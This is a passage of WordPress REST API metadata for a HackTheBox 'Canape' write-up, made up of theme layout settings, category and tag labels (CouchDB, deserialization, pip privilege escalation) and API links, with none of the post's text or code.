ight_mobile":"","ocean_menu_typo_transform":"","ocean_menu_typo_transform_tablet":"","ocean_menu_typo_transform_mobile":"","ocean_menu_typo_line_height":0,"ocean_menu_typo_line_height_tablet":0,"ocean_menu_typo_line_height_mobile":0,"ocean_menu_typo_line_height_unit":"","ocean_menu_typo_spacing":0,"ocean_menu_typo_spacing_tablet":0,"ocean_menu_typo_spacing_mobile":0,"ocean_menu_typo_spacing_unit":"","ocean_menu_link_color":"","ocean_menu_link_color_hover":"","ocean_menu_link_color_active":"","ocean_menu_link_background":"","ocean_menu_link_hover_background":"","ocean_menu_link_active_background":"","ocean_menu_social_links_bg":"","ocean_menu_social_hover_links_bg":"","ocean_menu_social_links_color":"","ocean_menu_social_hover_links_color":"","ocean_disable_title":"default","ocean_disable_heading":"default","ocean_post_title":"","ocean_post_subheading":"","ocean_post_title_style":"","ocean_post_title_background_color":"","ocean_post_title_background":0,"ocean_post_title_bg_image_position":"","ocean_post_title_bg_image_attachment":"","ocean_post_title_bg_image_repeat":"","ocean_post_title_bg_image_size":"","ocean_post_title_height":0,"ocean_post_title_bg_overlay":0.5,"ocean_post_title_bg_overlay_color":"","ocean_disable_breadcrumbs":"default","ocean_breadcrumbs_color":"","ocean_breadcrumbs_separator_color":"","ocean_breadcrumbs_links_color":"","ocean_breadcrumbs_links_hover_color":"","ocean_display_footer_widgets":"default","ocean_display_footer_bottom":"default","ocean_custom_footer_template":"","ocean_post_oembed":"","ocean_post_self_hosted_media":"","ocean_post_video_embed":"","ocean_link_format":"","ocean_link_format_target":"self","ocean_quote_format":"","ocean_quote_format_link":"post","ocean_gallery_link_images":"on","ocean_gallery_id":[],"footnotes":""},"categories":[19,2,141],"tags":[188,187,193,194,197,145,190,70,100,189,122,199,71,196,101,191,192,21,195,58],"class_list":["post-321","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hackthebox","category-information-security","category-linux","tag-canape-hackthebox","tag-canape-htb","tag-couchdb","tag-couchdb-exploit","tag-erlang","tag-git","tag-git-logs","tag-gtfobins","tag-infosec","tag-insecure-deserialization","tag-javascript","tag-json-parser","tag-linux","tag-offensive-security","tag-pentest","tag-pip-exploit","tag-pip-gtfobins","tag-python-deserialization","tag-query-couchdb","tag-redteam","entry","has-media"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/321"}],"collection":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/comments?post=321"}],"version-history":[{"count":7,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/321\/revisions"}],"predecessor-version":[{"id":329,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/321\/revisions\/329"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media\/326"}],"wp:attachment":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media?parent=321"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/categories?post=321"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/tags?post=321"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}